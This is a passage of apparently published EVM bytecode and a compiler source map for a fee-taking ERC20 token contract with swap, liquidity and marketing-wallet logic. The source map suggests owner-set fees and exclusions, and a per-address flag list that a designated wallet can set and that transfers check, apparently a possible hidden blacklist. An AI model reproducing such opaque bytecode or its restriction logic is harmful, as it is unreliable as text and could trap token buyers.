5b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b389085815260200190565b60405180910390a360019350505050610c76565b60008184841115611b705760405162461bcd60e51b8152600401610ca791906122f3565b506000611b7d84866125b5565b95945050505050565b6000610c7683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b4c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611c19918490611b4c565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611c4890836115e9565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c9c9086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611ce491600291611cde9182908790611f17565b90611f99565b90506000611cf28383611b86565b9050611cfd81611fdb565b6014544790600090611d1d90611d14906002611f99565b60195490611b86565b90506000611d3f6002611cde84611cde60145488611f1790919063ffffffff16565b90506000611d5c83611cde60165487611f1790919063ffffffff16565b90506000611d7482611d6e8786611b86565b90611b86565b90508015611d9757600454611d979061010090046001600160a01b03168261216e565b8115611db357600554611db3906001600160a01b03168361216e565b600083118015611dc35750600087115b15611dd257611dd287846121a4565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611e00600154612279565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611e5557611e4e6064611cde60175486611f1790919063ffffffff16565b9050611e93565b6001600160a01b0384166000908152600c602052604090205460ff1615611e9357611e906064611cde60185486611f1790919063ffffffff16565b90505b8015611f0d5730600090815260066020526040902054611eb390826115e9565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611f049085815260200190565b60405180910390a35b611b7d8382611b86565b600082600003611f2957506000610c0c565b6000611f3583856125c8565b905082611f4285836125df565b14610c765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ca7565b6000610c7683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612281565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106120105761201061255d565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612069573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061208d9190612540565b816001815181106120a0576120a061255d565b6001600160a01b039283166020918202929092010152601e546120c69130911684611648565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120ff908590600090869030904290600401612645565b600060405180830381600087803b15801561211957600080fd5b505af115801561212d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612162929190612681565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156112d2573d6000803e3d6000fd5b601e546121bc9030906001600160a01b031684611648565b601e546001600160a01b031663f305d7198230856000806121e56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561224d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061227291906126a2565b5050505050565b600081610c0c565b600081836122a25760405162461bcd60e51b8152600401610ca791906122f3565b506000611b7d84866125df565b6001600160a01b03811681146122c457600080fd5b50565b600080604083850312156122da57600080fd5b82356122e5816122af565b946020939093013593505050565b600060208083528351808285015260005b8181101561232057858101830151858201604001528201612304565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060006060848603121561235657600080fd5b8335612361816122af565b92506020840135612371816122af565b929592945050506040919091013590565b8035801515811461239257600080fd5b919050565b6000602082840312156123a957600080fd5b610c7682612382565b6000602082840312156123c457600080fd5b8135610c76816122af565b6000602082840312156123e157600080fd5b5035919050565b6000806000606084860312156123fd57600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561242957600080fd5b833567ffffffffffffffff8082111561244157600080fd5b818601915086601f83011261245557600080fd5b81358181111561246457600080fd5b8760208260051b850101111561247957600080fd5b60209283019550935061248f9186019050612382565b90509250925092565b600080604083850312156124ab57600080fd5b82356124b6816122af565b915060208301356124c6816122af565b809150509250929050565b600181811c908216806124e557607f821691505b60208210810361250557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561255257600080fd5b8151610c76816122af565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161259b5761259b612573565b5060010190565b80820180821115610c0c57610c0c612573565b81810381811115610c0c57610c0c612573565b8082028115828204841417610c0c57610c0c612573565b6000826125fc57634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b8381101561263a5781516001600160a01b031687529582019590820190600101612615565b509495945050505050565b85815284602082015260a06040820152600061266460a0830186612601565b6001600160a01b0394909416606083015250608001529392505050565b82815260406020820152600061269a6040830184612601565b949350505050565b6000806000606084860312156126b757600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201c65e3a4713292be54129048766cc3bd0346c537c2e2e79d9fd006ec9f110ade64736f6c63430008110033
Deployed Bytecode Sourcemap
4299:15232:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13887:119;;;;;;;;;;-1:-1:-1;13887:119:0;;;;;:::i;:::-;;:::i;:::-;;8185:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9478:161;;;;;;;;;;-1:-1:-1;9478:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9478:161:0;1023:187:1;4551:40:0;;;;;;;;;;-1:-1:-1;4551:40:0;;;;-1:-1:-1;;;;;4551:40:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;4551:40:0;1215:219:1;5902:41:0;;;;;;;;;;-1:-1:-1;5902:41:0;;;;-1:-1:-1;;;;;5902:41:0;;;8462:100;;;;;;;;;;-1:-1:-1;8542:12:0;;8462:100;;;1819:25:1;;;1807:2;1792:18;8462:100:0;1673:177:1;14224:313:0;;;;;;;;;;-1:-1:-1;14224:313:0;;;;;:::i;:::-;;:::i;11697:113::-;;;;;;;;;;-1:-1:-1;11697:113:0;;;;;:::i;:::-;;:::i;4598:81::-;;;;;;;;;;;;;;;12874:128;;;;;;;;;;;;;:::i;12420:129::-;;;;;;;;;;-1:-1:-1;12420:129:0;;;;;:::i;:::-;;:::i;8371:83::-;;;;;;;;;;-1:-1:-1;8437:9:0;;8371:83;;8437:9;;;;3268:36:1;;3256:2;3241:18;8371:83:0;3126:184:1;12286:126:0;;;;;;;;;;-1:-1:-1;12286:126:0;;;;;:::i;:::-;;:::i;8847:218::-;;;;;;;;;;-1:-1:-1;8847:218:0;;;;;:::i;:::-;;:::i;5078:38::-;;;;;;;;;;-1:-1:-1;5078:38:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12154:124;;;;;;;;;;-1:-1:-1;12154:124:0;;;;;:::i;:::-;;:::i;5030:41::-;;;;;;;;;;-1:-1:-1;5030:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6017:40;;;;;;;;;;-1:-1:-1;6017:40:0;;;;-1:-1:-1;;;6017:40:0;;;;;;5378:34;;;;;;;;;;;;;;;;13148:731;;;;;;;;;;-1:-1:-1;13148:731:0;;;;;:::i;:::-;;:::i;10218:331::-;;;;;;;;;;-1:-1:-1;10218:331:0;;;;;:::i;:::-;;:::i;5419:34::-;;;;;;;;;;;;;;;;11818:218;;;;;;;;;;-1:-1:-1;11818:218:0;;;;;:::i;:::-;;:::i;8570:118::-;;;;;;;;;;-1:-1:-1;8570:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;8663:17:0;8636:7;8663:17;;;:8;:17;;;;;;;8570:118;16382:229;;;;;;;;;;-1:-1:-1;16382:229:0;;;;;:::i;:::-;;:::i;4977:46::-;;;;;;;;;;-1:-1:-1;4977:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9992:218;;;;;;;;;;-1:-1:-1;9992:218:0;;;;;:::i;:::-;;:::i;5704:57::-;;;;;;;;;;;;;;;;5769:55;;;;;;;;;;;;;;;;5542:37;;;;;;;;;;;;;;;;5252:36;;;;;;;;;;;;;;;;4922:48;;;;;;;;;;-1:-1:-1;4922:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3006:79;;;;;;;;;;-1:-1:-1;3044:7:0;3071:6;-1:-1:-1;;;;;3071:6:0;3006:79;;10557:338;;;;;;;;;;-1:-1:-1;10557:338:0;;;;;:::i;:::-;;:::i;8276:87::-;;;;;;;;;;;;;:::i;2756:34::-;;;;;;;;;;;;;;;;4510;;;;;;;;;;-1:-1:-1;4510:34:0;;;;;;;-1:-1:-1;;;;;4510:34:0;;;9350:120;;;;;;;;;;-1:-1:-1;9439:23:0;;9350:120;;5586:44;;;;;;;;;;;;;;;;9073:269;;;;;;;;;;-1:-1:-1;9073:269:0;;;;;:::i;:::-;;:::i;12737:125::-;;;;;;;;;;-1:-1:-1;12737:125:0;;;;;:::i;:::-;;:::i;5460:30::-;;;;;;;;;;;;;;;;14049:167;;;;;;;;;;-1:-1:-1;14049:167:0;;;;;:::i;:::-;;:::i;11331:358::-;;;;;;;;;;-1:-1:-1;11331:358:0;;;;;:::i;:::-;;:::i;5209:30::-;;;;;;;;;;;;;;;;12557:172;;;;;;;;;;-1:-1:-1;12557:172:0;;;;;:::i;:::-;;:::i;5167:35::-;;;;;;;;;;;;;;;;5950:26;;;;;;;;;;-1:-1:-1;5950:26:0;;;;-1:-1:-1;;;;;5950:26:0;;;5295:36;;;;;;;;;;;;;;;;4863:52;;;;;;;;;;-1:-1:-1;4863:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5338:31;;;;;;;;;;;;;;;;6064:45;;;;;;;;;;-1:-1:-1;6064:45:0;;;;-1:-1:-1;;;6064:45:0;;;;;;5125:35;;;;;;;;;;;;;;;;8696:143;;;;;;;;;;-1:-1:-1;8696:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8804:18:0;;;8777:7;8804:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8696:143;5499:36;;;;;;;;;;;;;;;;12044:102;;;;;;;;;;-1:-1:-1;12044:102:0;;;;;:::i;:::-;;:::i;4806:50::-;;;;;;;;;;-1:-1:-1;4806:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3220:157;;;;;;;;;;-1:-1:-1;3220:157:0;;;;;:::i;:::-;;:::i;6116:35::-;;;;;;;;;;-1:-1:-1;6116:35:0;;;;-1:-1:-1;;;6116:35:0;;;;;;13887:119;13970:10;13958:23;;;;:8;:23;;;;;;;;13952:52;;;-1:-1:-1;;;;;13982:13:0;;;;;;:8;:13;;;;;:22;;;13952:52;13887:119;;:::o;8185:83::-;8222:13;8255:5;8248:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8185:83;:::o;9478:161::-;9553:4;9570:39;220:10;9593:7;9602:6;9570:8;:39::i;:::-;-1:-1:-1;9627:4:0;9478:161;;;;;:::o;14224:313::-;14322:4;14339:36;14349:6;14357:9;14368:6;14339:9;:36::i;:::-;-1:-1:-1;14386:121:0;14395:6;220:10;14417:89;14455:6;14417:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14417:19:0;;;;;;:11;:19;;;;;;;;220:10;14417:33;;;;;;;;;;:37;:89::i;:::-;14386:8;:121::i;:::-;-1:-1:-1;14525:4:0;14224:313;;;;;;:::o;11697:113::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;;;;;;;;;11775:16:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;11775:27:0::1;-1:-1:-1::0;;;;11775:27:0;;::::1;::::0;;;::::1;::::0;;11697:113::o;12874:128::-;12981:11;-1:-1:-1;;;;;8663:17:0;12927:7;8663:17;;;:8;:17;;;;;;12954:12;;:40;;:16;:40::i;:::-;12947:47;;12874:128;:::o;12420:129::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;12502:17:::1;:39:::0;;-1:-1:-1;;;;;;12502:39:0::1;-1:-1:-1::0;;;;;12502:39:0;;;::::1;::::0;;;::::1;::::0;;12420:129::o;12286:126::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;12371:11:::1;:33:::0;;-1:-1:-1;;;;;12371:33:0;;::::1;;;-1:-1:-1::0;;;;;;12371:33:0;;::::1;::::0;;;::::1;::::0;;12286:126::o;8847:218::-;220:10;8935:4;8984:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8984:34:0;;;;;;;;;;8935:4;;8952:83;;8975:7;;8984:50;;9023:10;8984:38;:50::i;12154:124::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;12236:23:::1;:34:::0;12154:124::o;13148:731::-;13228:22;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;13265:35:::1;13322:16;13265:74;;13388:16;-1:-1:-1::0;;;;;13388:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13370:53:0::1;;13432:4;13439:16;-1:-1:-1::0;;;;;13439:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13370:93;::::0;-1:-1:-1;;;;;;13370:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6140:15:1;;;13370:93:0::1;::::0;::::1;6122:34:1::0;6192:15;;6172:18;;;6165:43;6057:18;;13370:93:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13353:110:::0;-1:-1:-1;;;;;;13479:28:0;::::1;13476:200;;13568:16;-1:-1:-1::0;;;;;13568:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13550:74:0::1;;13633:4;13640:16;-1:-1:-1::0;;;;;13640:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13550:114;::::0;-1:-1:-1;;;;;;13550:114:0::1;::::0;;;;;;-1:-1:-1;;;;;6140:15:1;;;13550:114:0::1;::::0;::::1;6122:34:1::0;6192:15;;6172:18;;;6165:43;6057:18;;13550:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13533:131;;13476:200;13688:11;:28:::0;;-1:-1:-1;;;;;;13688:28:0;;::::1;-1:-1:-1::0;;;;;13688:28:0;;::::1;::::0;;::::1;::::0;;13727:15:::1;:34:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;13775:41:0;;;:19:::1;:41;::::0;;;;;;;:48;;-1:-1:-1;;13775:48:0;;::::1;-1:-1:-1::0;13775:48:0;;::::1;::::0;;;13851:11;;;;::::1;13834:30:::0;;:8:::1;:30:::0;;;;;:37;;;;::::1;::::0;;::::1;::::0;;13688:28;13702:14;-1:-1:-1;13148:731:0:o;10218:331::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;10339:16:::1;:34:::0;;;10384:16:::1;:34:::0;;;10429:11:::1;:24:::0;;;10486:55:::1;10443:10:::0;10486:38:::1;10358:15:::0;10403;10486:20:::1;:38::i;:::-;:42:::0;::::1;:55::i;:::-;10466:17;:75:::0;-1:-1:-1;;;10218:331:0:o;11818:218::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;11924:9:::1;11920:109;11939:17:::0;;::::1;11920:109;;;12011:6;11978:19;:30;11998:6;;12005:1;11998:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11978:30:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11978:30:0;:39;;-1:-1:-1;;11978:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11958:3;::::1;::::0;::::1;:::i;:::-;;;;11920:109;;;;11818:218:::0;;;:::o;16382:229::-;16453:11;;16492:10;16453:11;;;;-1:-1:-1;;;;;16453:11:0;:49;16449:155;;16520:9;16516:77;16535:13;;;16516:77;;;16585:6;16570:5;:12;16576:2;;16579:1;16576:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16570:12:0;;;;;;;;;;;;-1:-1:-1;16570:12:0;:21;;-1:-1:-1;;16570:21:0;;;;;;;;;;16550:3;;;;:::i;:::-;;;;16516:77;;16449:155;16382:229;;;:::o;9992:218::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;10096:9:::1;10092:111;10111:18:::0;;::::1;10092:111;;;10183:8;10151:17;:29;10169:7;;10177:1;10169:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10151:29:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10151:29:0;:40;;-1:-1:-1;;10151:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10131:3;::::1;::::0;::::1;:::i;:::-;;;;10092:111;;10557:338:::0;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;10678:17:::1;:35:::0;;;10724:17:::1;:35:::0;;;10770:12:::1;:25:::0;;;10829:58:::1;10785:10:::0;10829:40:::1;10698:15:::0;10744;10829:21:::1;:40::i;:58::-;10808:18;:79:::0;-1:-1:-1;;;10557:338:0:o;8276:87::-;8315:13;8348:7;8341:14;;;;;:::i;9073:269::-;9166:4;9183:129;220:10;9206:7;9215:96;9254:15;9215:96;;;;;;;;;;;;;;;;;220:10;9215:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9215:34:0;;;;;;;;;;;;:38;:96::i;12737:125::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;12818:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;12818:36:0::1;-1:-1:-1::0;;;;12818:36:0;;::::1;::::0;;;::::1;::::0;;12737:125::o;14049:167::-;14127:4;14144:42;220:10;14168:9;14179:6;14144:9;:42::i;11331:358::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;11472:15:::1;:35:::0;;;11518:15:::1;:35:::0;;;11564:10:::1;:25:::0;;;11629:52:::1;11577:12:::0;11629:36:::1;11490:17:::0;11536;11629:19:::1;:36::i;:52::-;11602:24;:79:::0;-1:-1:-1;;;11331:358:0:o;12557:172::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;12635:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;12635:32:0::1;-1:-1:-1::0;;;;12635:32:0;;::::1;;::::0;;12683:38:::1;::::0;::::1;::::0;::::1;::::0;12659:8;1188:14:1;1181:22;1163:41;;1151:2;1136:18;;1023:187;12683:38:0::1;;;;;;;;12557:172:::0;:::o;12044:102::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;12116:10:::1;:22:::0;12044:102::o;3220:157::-;3133:6;;-1:-1:-1;;;;;3133:6:0;220:10;3133:22;3125:67;;;;-1:-1:-1;;;3125:67:0;;;;;;;:::i;:::-;3294:6:::1;:19:::0;;-1:-1:-1;;;;;;3294:19:0::1;-1:-1:-1::0;;;;;3294:19:0;::::1;::::0;;::::1;::::0;;3329:40:::1;::::0;3294:19;;;;3329:40:::1;::::0;3294:6;3329:40:::1;3220:157:::0;:::o;1071:181::-;1129:7;;1161:5;1165:1;1161;:5;:::i;:::-;1149:17;;1190:1;1185;:6;;1177:46;;;;-1:-1:-1;;;1177:46:0;;6955:2:1;1177:46:0;;;6937:21:1;6994:2;6974:18;;;6967:30;7033:29;7013:18;;;7006:57;7080:18;;1177:46:0;6753:351:1;9647:337:0;-1:-1:-1;;;;;9740:19:0;;9732:68;;;;-1:-1:-1;;;9732:68:0;;7311:2:1;9732:68:0;;;7293:21:1;7350:2;7330:18;;;7323:30;7389:34;7369:18;;;7362:62;-1:-1:-1;;;7440:18:1;;;7433:34;7484:19;;9732:68:0;7109:400:1;9732:68:0;-1:-1:-1;;;;;9819:21:0;;9811:68;;;;-1:-1:-1;;;9811:68:0;;7716:2:1;9811:68:0;;;7698:21:1;7755:2;7735:18;;;7728:30;7794:34;7774:18;;;7767:62;-1:-1:-1;;;7845:18:1;;;7838:32;7887:19;;9811:68:0;7514:398:1;9811:68:0;-1:-1:-1;;;;;9892:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9944:32;;1819:25:1;;;9944:32:0;;1792:18:1;9944:32:0;;;;;;;9647:337;;;:::o;14545:1829::-;14632:4;-1:-1:-1;;;;;14659:20:0;;14651:70;;;;-1:-1:-1;;;14651:70:0;;8119:2:1;14651:70:0;;;8101:21:1;8158:2;8138:18;;;8131:30;8197:34;8177:18;;;8170:62;-1:-1:-1;;;8248:18:1;;;8241:35;8293:19;;14651:70:0;7917:401:1;14651:70:0;-1:-1:-1;;;;;14740:23:0;;14732:71;;;;-1:-1:-1;;;14732:71:0;;8525:2:1;14732:71:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:33;8697:19;;14732:71:0;8323:399:1;14732:71:0;14827:16;;-1:-1:-1;;;14827:16:0;;;;14824:1543;;;14877:41;14892:6;14900:9;14911:6;14877:14;:41::i;:::-;14870:48;;;;14824:1543;-1:-1:-1;;;;;14974:23:0;;;;;;:15;:23;;;;;;;;14973:24;:55;;;;-1:-1:-1;;;;;;15002:26:0;;;;;;:15;:26;;;;;;;;15001:27;14973:55;14970:170;;;15067:12;;15057:6;:22;;15049:75;;;;-1:-1:-1;;;15049:75:0;;8929:2:1;15049:75:0;;;8911:21:1;8968:2;8948:18;;;8941:30;9007:34;8987:18;;;8980:62;-1:-1:-1;;;9058:18:1;;;9051:38;9106:19;;15049:75:0;8727:404:1;15049:75:0;15203:4;15154:28;8663:17;;;:8;:17;;;;;;15279:23;;15255:47;;;;;;;15321:44;;-1:-1:-1;15349:16:0;;-1:-1:-1;;;15349:16:0;;;;15348:17;15321:44;:65;;;;-1:-1:-1;;;;;;15370:16:0;;;;;;:8;:16;;;;;;;;15369:17;15321:65;:90;;;;-1:-1:-1;15390:21:0;;-1:-1:-1;;;15390:21:0;;;;15321:90;15317:297;;;15449:25;;-1:-1:-1;;;15449:25:0;;;;15446:97;;;15520:23;;15497:46;;15446:97;15562:36;15577:20;15562:14;:36::i;:::-;15617:10;15620:6;15617:2;:10::i;:::-;15614:96;;;-1:-1:-1;;;;;15666:16:0;;;;;;:8;:16;;;;;;:28;;15687:6;15666:20;:28::i;:::-;-1:-1:-1;;;;;15647:16:0;;;;;;:8;:16;;;;;:47;15614:96;-1:-1:-1;;;;;15733:25:0;;15710:19;15733:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;15762:28:0;;;;;;:17;:28;;;;;;;;15733:57;15732:148;;15846:34;15854:6;15862:9;15873:6;15846:7;:34::i;:::-;15732:148;;;15837:6;15732:148;15912:16;;15710:170;;-1:-1:-1;;;;15912:16:0;;;;:51;;;;-1:-1:-1;;;;;;15933:30:0;;;;;;:19;:30;;;;;;;;15932:31;15912:51;15909:133;;;16031:10;;15990:37;16015:11;15990:20;16000:9;-1:-1:-1;;;;;8663:17:0;8636:7;8663:17;;;:8;:17;;;;;;;8570:118;15990:37;:51;;15982:60;;;;;;-1:-1:-1;;;;;16106:15:0;;;;;;:5;:15;;;;;;;;16103:91;;;16162:22;;;;-1:-1:-1;;;;;16231:19:0;;;;;;:8;:19;;;;;;:36;;16255:11;16231:23;:36::i;:::-;-1:-1:-1;;;;;16209:19:0;;;;;;;:8;:19;;;;;;;:58;;;;16289:40;;;;;;;;;;16317:11;1819:25:1;;1807:2;1792:18;;1673:177;16289:40:0;;;;;;;;16351:4;16344:11;;;;;;;1406:192;1492:7;1528:12;1520:6;;;;1512:29;;;;-1:-1:-1;;;1512:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1552:9:0;1564:5;1568:1;1564;:5;:::i;:::-;1552:17;1406:192;-1:-1:-1;;;;;1406:192:0:o;1262:136::-;1320:7;1347:43;1351:1;1354;1347:43;;;;;;;;;;;;;;;;;:3;:43::i;16619:326::-;16748:52;;;;;;;;;;;-1:-1:-1;;;16748:52:0;;;;;;;;-1:-1:-1;;;;;16748:16:0;;16712:4;16748:16;;;:8;:16;;;;;;;:52;;16769:6;;16748:20;:52::i;:::-;-1:-1:-1;;;;;16729:16:0;;;;;;;:8;:16;;;;;;:71;;;;16833:19;;;;;;;:31;;16857:6;16833:23;:31::i;:::-;-1:-1:-1;;;;;16811:19:0;;;;;;;:8;:19;;;;;;;:53;;;;16880:35;;;;;;;;;;16908:6;1819:25:1;;1807:2;1792:18;;1673:177;16880:35:0;;;;;;;;-1:-1:-1;16933:4:0;16619:326;;;;;:::o;16953:1037::-;6574:16;:23;;-1:-1:-1;;;;6574:23:0;-1:-1:-1;;;6574:23:0;;;17090:24:::1;::::0;6574:16;17069:15;6574:23;;17057:65:::1;::::0;17120:1:::1;::::0;17057:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-;:32:::0;::::1;:58::i;:65::-;17035:87:::0;-1:-1:-1;17133:21:0::1;17157:24;:7:::0;17035:87;17157:11:::1;:24::i;:::-;17133:48;;17194:31;17211:13;17194:16;:31::i;:::-;17346:15;::::0;17261:21:::1;::::0;17236:22:::1;::::0;17317:52:::1;::::0;17346:22:::1;::::0;17366:1:::1;17346:19;:22::i;:::-;17317:24;::::0;;:28:::1;:52::i;:::-;17295:74;;17390:26;17419:59;17476:1;17419:52;17459:11;17419:35;17438:15;;17419:14;:18;;:35;;;;:::i;:59::-;17390:88;;17489:21;17513:47;17548:11;17513:30;17532:10;;17513:14;:18;;:30;;;;:::i;:47::-;17489:71:::0;-1:-1:-1;17571:26:0::1;17600:57;17489:71:::0;17600:38:::1;:14:::0;17619:18;17600::::1;:38::i;:::-;:42:::0;::::1;:57::i;:::-;17571:86:::0;-1:-1:-1;17673:22:0;;17670:93:::1;;17731:11;::::0;17710:53:::1;::::0;17731:11:::1;::::0;::::1;-1:-1:-1::0;;;;;17731:11:0::1;17744:18:::0;17710:20:::1;:53::i;:::-;17779:17:::0;;17776:89:::1;;17832:17;::::0;17811:54:::1;::::0;-1:-1:-1;;;;;17832:17:0::1;17851:13:::0;17811:20:::1;:54::i;:::-;17902:1;17881:18;:22;:41;;;;;17921:1;17907:11;:15;17881:41;17878:104;;;17937:45;17950:11;17963:18;17937:12;:45::i;:::-;-1:-1:-1::0;;6620:16:0;:24;;-1:-1:-1;;;;6620:24:0;;;-1:-1:-1;;;;;;16953:1037:0:o;11198:125::-;11250:4;11305:9;-1:-1:-1;;;;;11284:30:0;:17;11291:9;;11284:6;:17::i;:::-;-1:-1:-1;;;;;11284:30:0;;11282:33;;11198:125;-1:-1:-1;;11198:125:0:o;18918:604::-;-1:-1:-